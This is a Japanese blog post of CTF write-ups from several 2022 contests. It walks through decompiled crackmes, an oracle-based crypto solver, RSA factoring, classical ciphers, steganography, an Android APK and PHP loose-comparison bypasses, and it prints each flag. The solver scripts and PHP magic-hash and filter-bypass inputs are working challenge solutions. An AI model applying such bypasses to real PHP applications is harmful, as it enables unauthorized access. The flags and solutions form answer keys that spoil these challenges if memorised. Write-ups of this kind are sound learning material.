crackme (rev)

Ghidraでデコンパイルする。

bool main(void)

{
  int iVar1;
  char local_48 [60];
  undefined4 local_c;
  
  local_c = 0;
  printf("Product Key> ");
  fgets(local_48,0x2f,stdin);
  iVar1 = check(local_48);
  if (iVar1 == 0) {
    printf("Key incorrect, not activating.\n");
  }
  else {
    printf("Key correct, activating.\n");
  }
  return iVar1 == 0;
}

undefined4 check(char *param_1)

{
  undefined4 local_c;
  
  if (*param_1 == 'b') {
    if (param_1[1] == 'c') {
      if (param_1[2] == 't') {
        if (param_1[3] == 'f') {
          if (param_1[4] == '{') {
            if (param_1[5] == '1') {
              if (param_1[6] == '3') {
                if (param_1[7] == '3') {
                  if (param_1[8] == '&') {
                    if (param_1[9] == '_') {
                      if (param_1[10] == 'l') {
                        if (param_1[0xb] == 'e') {
                          if (param_1[0xc] == 't') {
                            if (param_1[0xd] == 'm') {
                              if (param_1[0xe] == 'e') {
                                if (param_1[0xf] == 'i') {
                                  if (param_1[0x10] == 'n') {
                                    if (param_1[0x11] == '_') {
                                      if (param_1[0x12] == '1') {
                                        if (param_1[0x13] == '2') {
                                          if (param_1[0x14] == '3') {
                                            if (param_1[0x15] == '}') {
                                              local_c = 1;
                                            }
                                            else {
                                              local_c = 0;
                                            }
                                          }
                                          else {
                                            local_c = 0;
                                          }
                                        }
                                        else {
                                          local_c = 0;
                                        }
                                      }
                                      else {
                                        local_c = 0;
                                      }
                                    }
                                    else {
                                      local_c = 0;
                                    }
                                  }
                                  else {
                                    local_c = 0;
                                  }
                                }
                                else {
                                  local_c = 0;
                                }
                              }
                              else {
                                local_c = 0;
                              }
                            }
                            else {
                              local_c = 0;
                            }
                          }
                          else {
                            local_c = 0;
                          }
                        }
                        else {
                          local_c = 0;
                        }
                      }
                      else {
                        local_c = 0;
                      }
                    }
                    else {
                      local_c = 0;
                    }
                  }
                  else {
                    local_c = 0;
                  }
                }
                else {
                  local_c = 0;
                }
              }
              else {
                local_c = 0;
              }
            }
            else {
              local_c = 0;
            }
          }
          else {
            local_c = 0;
          }
        }
        else {
          local_c = 0;
        }
      }
      else {
        local_c = 0;
      }
    }
    else {
      local_c = 0;
    }
  }
  else {
    local_c = 0;
  }
  return local_c;
}

1文字ずつチェックしているのがわかるので、それを連結する。

bctf{133&_letmein_123}

crackme_2 (rev)

Ghidraでデコンパイルする。

bool main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Product key> ");
  fgets(local_48,0x2f,stdin);
  iVar1 = check(local_48);
  if (iVar1 == 0) {
    puts("Key incorrect, not activating.");
  }
  else {
    puts("Key correct, activating.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1 == 0;
}

char check(char *param_1)

{
  char cVar1;
  
  if ((((*param_1 == 'b') && (param_1[1] == 'c')) && (param_1[2] == 't')) &&
     ((param_1[3] == 'f' && (param_1[4] == '{')))) {
    if (param_1[5] == '4') {
      if (param_1[6] == 'l') {
        if (param_1[7] == 'g') {
          if (param_1[8] == '3') {
            if (param_1[9] == 'b') {
              if ((byte)(param_1[10] ^ param_1[9]) == 0x10) {
                if (param_1[0xb] + -1 == (int)param_1[8]) {
                  if (param_1[0xc] == '!') {
                    cVar1 = param_1[0xd];
                    if (cVar1 != '}') {
                      cVar1 = '\0';
                    }
                  }
                  else {
                    cVar1 = '\0';
                  }
                }
                else {
                  cVar1 = '\0';
                }
              }
              else {
                cVar1 = '\0';
              }
            }
            else {
              cVar1 = '\0';
            }
          }
          else {
            cVar1 = '\0';
          }
        }
        else {
          cVar1 = '\0';
        }
      }
      else {
        cVar1 = '\0';
      }
    }
    else {
      cVar1 = '\0';
    }
  }
  else {
    cVar1 = '\0';
  }
  return cVar1;
}

条件を満たすよう、簡単な計算で入力文字を算出できる。

#!/usr/bin/env python3
flag = list(b'bctf{4lg3b') + [b''] * 4
flag[10] = flag[9] ^ 0x10
flag[0xb] = flag[8] + 1
flag[0xc] = ord('!')
flag[0xd] = ord('}')
flag = ''.join([chr(c) for c in flag])
print(flag)
bctf{4lg3br4!}

Hardcore (crypto)

サーバの処理概要は以下の通り。

・diff: 難易度選択(1 or 2)
・diff == 1の場合
 ・FLAG = FLAG1
 ・Level(1)
・diff == 2の場合
 ・FLAG = FLAG2
 ・Level(0.9)

■Level(probability)
・encrypted_secret: FLAGのsha256
・encrypted_secret表示
・以下繰り返し
 ・array = parse_input()
  ・bitstring: 2進数文字列入力
  ・array: bitstringをnumpy配列に変換→返却
 ・predictor(array, probability = probability)の結果を表示
  ・x_r: FLAGの2進数表記と異なるビットはTrueとなっている配列
  ・np.random.seed(x_r)
  ・chance = np.random.rand()
  ・prediction = 0
  ・chanceがprobability以下の場合
   ・prediction = generate_hardcore(digest_to_array(FLAG), r)
  ・chanceがprobabilityより大きい場合
   ・prediction = 1 - generate_hardcore(digest_to_array(FLAG), r)
  ・predictionを返却

難易度1の方を解く必要がある。generate_hardcore関数はFLAGのbit配列と、指定したbit配列の内積を算出し、その和の2で割った余りを返す。1ビットずつ0の場合と1の場合を指定し、返却値が変わらなければ0、変化したら1であるとわかる。このことから1ビットずつ割り出すスクリプトにし、フラグを求める。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.b01lers.com', 9003))

data = recvuntil(s, b':')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

b_flag = ''
for i in range(256):
    b_tmp = b_flag + '0' + '0' * (255 - i)
    print(b_tmp)
    s.sendall(b_tmp.encode() + b'\n')
    hc0 = recvuntil(s, b'\n').rstrip()
    print(hc0)

    b_tmp = b_flag + '1' + '0' * (255 - i)
    print(b_tmp)
    s.sendall(b_tmp.encode() + b'\n')
    hc1 = recvuntil(s, b'\n').rstrip()
    print(hc1)

    if hc0 == hc1:
        b_flag += '0'
    else:
        b_flag += '1'

flag = ''
for i in range(0, len(b_flag), 8):
    flag += chr(int(b_flag[i:i+8], 2))
print(flag)

実行結果は以下の通り。

Select a difficulty (1/2):1
We're looking to find the secret behind this SHA1 hash <d578448067f47a44e1d97974492a07ca4b3f230ae70bb0f9129bb8d62d197703>. Luckily for you, this socket takes a bitstring and predicts the dot product of the secret with that bit string (mod 2) with 100% accuracy and sends you back the answer.

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0
1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0
        :
        :

0110001001100011011101000110011001111011011001000110111101011111011110010110111101110101010111110110110001101001011010110110010101011111011010000110000101110010011001000110001101101111011100100110010101011111011000110110100001100001011011000111001101111100
0
0110001001100011011101000110011001111011011001000110111101011111011110010110111101110101010111110110110001101001011010110110010101011111011010000110000101110010011001000110001101101111011100100110010101011111011000110110100001100001011011000111001101111101
1
bctf{do_you_like_hardcore_chals}
bctf{do_you_like_hardcore_chals}

CUCTF 1.0 Writeup

この大会は2022/4/23 15:30(JST)~2022/4/23 21:30(JST)に開催されました。
今回もチームで参戦。結果は991点で270チーム中54位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC 1)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

CUCTF{L3T_TH3_G4M35_B3G1N}

Justin.tv (OSINT 70)

Sookhabournvitaで検索したら、Youtubeのチェンネルを見つけた。

https://www.youtube.com/channel/UCU3yIHO5WurwDtx6SAh8Inw

概要のリンクにある動画を見てみる。動画の途中でフラグが見えた。

CUCTF{L34K5_0N_57R34M5}

babyrev1 (REVERSE ENGINEERING 70)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char *__dest;
  bool bVar1;
  ulong uVar2;
  char *__src;
  undefined8 uStack128;
  long local_78 [2];
  basic_string local_68 [40];
  char *local_40;
  long local_38;
  int local_2c;
  
  uStack128 = 0x10120d;
  std::operator<<((basic_ostream *)std::cout,"Input Flag: \n");
  uStack128 = 0x101219;
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string();
                    /* try { // try from 00101227 to 00101492 has its CatchHandler @ 001014ab */
  uStack128 = 0x10122c;
  std::operator>>((basic_istream *)std::cin,local_68);
  uStack128 = 0x101238;
  local_2c = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length();
  local_78[0] = (long)(local_2c + 1);
  local_38 = local_78[0] + -1;
  local_78[1] = 0;
  uVar2 = (local_78[0] + 0xfU) / 0x10;
  local_40 = (char *)(local_78 + uVar2 * -2);
  (&uStack128)[uVar2 * -2] = 0x1012a9;
  __src = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
                  c_str();
  __dest = local_40;
  (&uStack128)[uVar2 * -2] = 0x1012bb;
  strcpy(__dest,__src);
  (&uStack128)[uVar2 * -2] = 0x1012ce;
  bVar1 = std::operator!=(local_68,"");
  if (bVar1 != false) {
    if (local_2c == 0x1b) {
      if (((((((*local_40 == 'C') && (local_40[1] == 'U')) && (local_40[2] == 'C')) &&
            ((local_40[3] == 'T' && (local_40[4] == 'F')))) && (local_40[5] == '{')) &&
          (((((local_40[6] == 'W' && (local_40[7] == '3')) &&
             ((local_40[8] == 'l' &&
              (((local_40[9] == 'c' && (local_40[10] == '0')) && (local_40[0xb] == 'm')))))) &&
            (((local_40[0xc] == '3' && (local_40[0xd] == '_')) &&
             ((local_40[0xe] == '7' &&
              ((((local_40[0xf] == '0' && (local_40[0x10] == '_')) &&
                ((local_40[0x11] == 'R' &&
                 (((local_40[0x12] == '3' && (local_40[0x13] == 'v')) && (local_40[0x14] == '3')))))
                ) && ((local_40[0x15] == 'r' && (local_40[0x16] == '5')))))))))) &&
           (local_40[0x17] == '1')))) &&
         (((local_40[0x18] == 'n' && (local_40[0x19] == 'g')) && (local_40[0x1a] == '}')))) {
        (&uStack128)[uVar2 * -2] = 0x101480;
        printf("Correct Flag!!");
      }
    }
    else {
      (&uStack128)[uVar2 * -2] = 0x101493;
      printf("Wrong Flag");
    }
  }
  (&uStack128)[uVar2 * -2] = 0x1014a4;
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
            ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_68);
  return 0;
}

入力文字を1文字ずつ比較しているので、その文字を並べる。

CUCTF{W3lc0m3_70_R3v3r51ng}

sihT elipmoC (REVERSE ENGINEERING 200)

pycをデコンパイルする。

$ uncompyle6 out.pyc
# uncompyle6 version 3.8.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.9 (default, Mar 15 2022, 13:55:28) 
# [GCC 8.4.0]
# Embedded file name: out.py
# Compiled at: 2022-04-09 06:54:01


def fun(a, b):
    f = a ^ b
    s = pow(f, a, b)
    return s


def fun2(x, y):
    ans = x ^ y
    return ans


f = open('flag.txt', 'r')
a = f.readline()
j = 2
k = j + 2
output = ''
for i in range(len(a)):
    s1 = fun(j, k)
    s2 = fun2(s1, ord(a[i]))
    output += chr(s2)
    j += 2
    k = j + 2

f1 = open('output.txt', 'w')
f1.write(output)
f1.close()
# okay decompiling out.pyc

このことを元に、フラグを復元する。

#!/usr/bin/env python3
def fun(a, b):
    f = a ^ b
    s = pow(f, a, b)
    return s

def fun2(x, y):
    ans = x ^ y
    return ans

with open('output.txt', 'r') as f:
    output = f.read()

j = 2
k = j + 2

flag = ''
for i in range(len(output)):
    s1 = fun(j, k)
    s2 = fun2(s1, ord(output[i]))
    flag += chr(s2)
    j += 2
    k = j + 2

print(flag)
CUCTF{unc0mp1l3d}

PHP Trickster (WEB 200)

'phpcanbetrickysometimes'を''に置換しても、'phpcanbetrickysometimes'になるよう間に入れた文字列を指定する。

first_answer=phpcanbephpcanbetrickysometimestrickysometimes

http://13.233.100.207/bsdfbysvfgys.phpにアクセスすると、以下のようなメッセージが表示される。

Awesome! Now proceed to the next level.
Visit /chicken-dinner.php

http://13.233.100.207/chicken-dinner.phpにアクセスすると、次のPHPの問題が出題される。

今度はmd5の値が==で"0"と等しくなるものを指定すればよい。
例えば、240610708の場合、0e462097431906509019562988736854となり、0と同等。http://13.233.100.207/chicken-dinner.php?secondanswer=240610708にアクセスすると、以下のようなメッセージが表示される。

You did it!

CUCTF{PHP_1S_TR!CKY_BUT_!MP0RT4NT}
CUCTF{PHP_1S_TR!CKY_BUT_!MP0RT4NT}

Beluga's secret (STEGANOGRAPHY 70)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。

1N5PECT1NG_7H3_SP3CT0GR4MS
CUCTF{1N5PECT1NG_7H3_SP3CT0GR4MS}

Abracadabra Magic (STEGANOGRAPHY 100)

PNGファイルのヘッダが壊れているので、修正する。

4a 50 45 47 -> 89 50 4e 47

さらに末尾にはごみが入っているので、取り除く。修正したPNGファイルをStegSolveで開き、Red plane 2を見ると、フラグが現れる。

CUCTF{1S_1T_H1DD3N_3N0UGH?}

Skittle-chan's secret (CRYPTOGRAPHY 70)

Discordでskittle-chanボットに以下のDMを投げる。

!flag

以下の応答があった。

Uh-- uhm--- do i have it?
Decode THIS >>>> aGVja3VyIGdhdmUgbWUgYSBrZXkgIiRzdWRvIGhlY2sgaGVja3VyIg==
Hint :blush: : Bases turn red litmus paper blue!
$ echo aGVja3VyIGdhdmUgbWUgYSBrZXkgIiRzdWRvIGhlY2sgaGVja3VyIg== | base64 -d
heckur gave me a key "$sudo heck heckur"

今度は以下のDMを投げる。

$sudo heck heckur

すると以下の応答があった。

Oh wow!! :heart_eyes:  Bu--
But this is not the end.... Keep trying! :wink:
Here is your next challenge.
>>>> #Orthytn_tvi_synt_cyf_hjh
Hint : Beluga rotates around the flag or is it the other way round?

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

ROT13
#Begulga_giv_flag_pls_uwu

今度は以下のDMを投げる。

#Begulga_giv_flag_pls_uwu

すると以下の応答があった。

Managed to solve that too? :heart_eyes: :heart_eyes: :heart_eyes: I think i have to throw something more salty! :wink: :face_with_hand_over_mouth:
Okay. Solve this! :smirk:
>>>> DYNNL{Slmenre_msgyy_bfkfara_dsk_vkgvpl_cy_tii_myyt}
FACT: Belu/Begugla`s real name is "Beluga"

Vigenere暗号。https://www.dcode.fr/vigenere-cipherで復号する。
鍵はBELUGA。

CUCTF{Skittle_loves_begugla_coz_begula_is_the_best}

Romeo Santos Amigo (CRYPTOGRAPHY 200)

RSA暗号

n = p * q
f = (p + q) * p
  = p ** 2 + n

n, fがわかっているので、pを算出できる。qもわかるので、あとはそのまま復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

n = 11829886750485477875976635072018090905143443625007546794348497637966197279803681213779006459999746001196971426170849463947098364679127042949733914239579104586870722387114340480000486856505649674159770197506405951312626957318515896751767047062828839549974251678347976185495852674150282088401081165333834461071224526054075524891724970500077599114868606849229149187142341846051527710265752567974703774179138223020001489651131113721765229046264198068712659964490412666162428987002387692631015099403880204125842922799024065172364105218572478815185466933632832934972516132474664570985119914475072648885508244964020524399053
f = 20043009015985698100425274947483305876785498175015449361182182417373035151653086573036155733253044537568811200485247118262264159846001127988203128268971273737956995677175065567379060331866330565896616577747421528604583105194539099675088529204429423364238272532358443699593880949743306523057388833615446729693504763564236862533691242407058582727871791364492231151285880449861165764374968357317223326722079234280155917463431388210349115191828122932453215979076470629530940642049833751942988818180451773645576734459003809686228170008273943185203268076716312410237373925376218933795301756901875959064459973014819534965734
c = 797073641485868004817216562170655455035575406588406652196942486967584215459893094533869888868503189461184119339856836498920166781639768351027919077118462077303982791831632122628673038236983663558470883953241953414646314480971601889852350674583308477166067573190459828689466309957397059077868419835940038633609014280898238950919351159762301810840683827179829257077915691935483135181184077726634138367723588715592565453940927603481342507466629361299663182223554674989869928484376734029297350761412822198777372704066055309236759459950636661393795865613239596796507963896308065878136758416960367988318034971930081770122
e = 65537

p = gmpy2.iroot(f - n, 2)[0]
q = n // p
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
CUCTF{y0u_4r3_b3773r_cryp70gr4ph3r}

Feedback (MISC 10)

アンケートに答えたら、フラグが表示された。

CUCTF{Th4nk_y0u_f0r_j01n1ng}

THCon 2k22 Writeup

この大会は2022/4/17 4:00(JST)~2022/4/18 4:00(JST)に開催されました。
今回もチームで参戦。結果は50点で99チーム中96位でした。
自分で解けた問題をWriteupとして書いておきます。

Nobody's late (intro)

Discordに入り、#-rulesチャネルのルールに:thumbsup:でリアクションすると、たくさんのチャネルが現れる。#-helloチャネルのメッセージにフラグが書いてあった。

THCon22{ono-were-late-:(}

Android discovery (reverse)

Bytecode Viewerでデコンパイルする。

public class MainActivity extends AppCompatActivity {
   TextView TV_score;
   Button button;
   int score = 0;

   private void showAlertDialog() {
      Builder var1 = new Builder(this);
      var1.setTitle("Success!").setMessage("The flag is THCon22{MY_f1rst_@ndr01d_r3v3rs3}");
      var1.create().show();
   }

   private void updateScore() {
      int var1 = this.score + 1;
      this.score = var1;
      this.TV_score.setText(String.valueOf(var1));
      if (this.score > 1000000) {
         this.showAlertDialog();
      }

   }

   // $FF: synthetic method
   public void lambda$onCreate$0$party_thcon_y2022_discovery_MainActivity/* $FF was: lambda$onCreate$0$party-thcon-y2022-discovery-MainActivity*/(View var1) {
      this.updateScore();
   }

   protected void onCreate(Bundle var1) {
      super.onCreate(var1);
      this.setContentView(2131427356);
      this.TV_score = (TextView)this.findViewById(2131230736);
      Button var2 = (Button)this.findViewById(2131230821);
      this.button = var2;
      var2.setOnClickListener(new ExternalSyntheticLambda0(this));
      this.updateScore();
   }
}

メッセージにフラグが含まれていた。

THCon22{MY_f1rst_@ndr01d_r3v3rs3}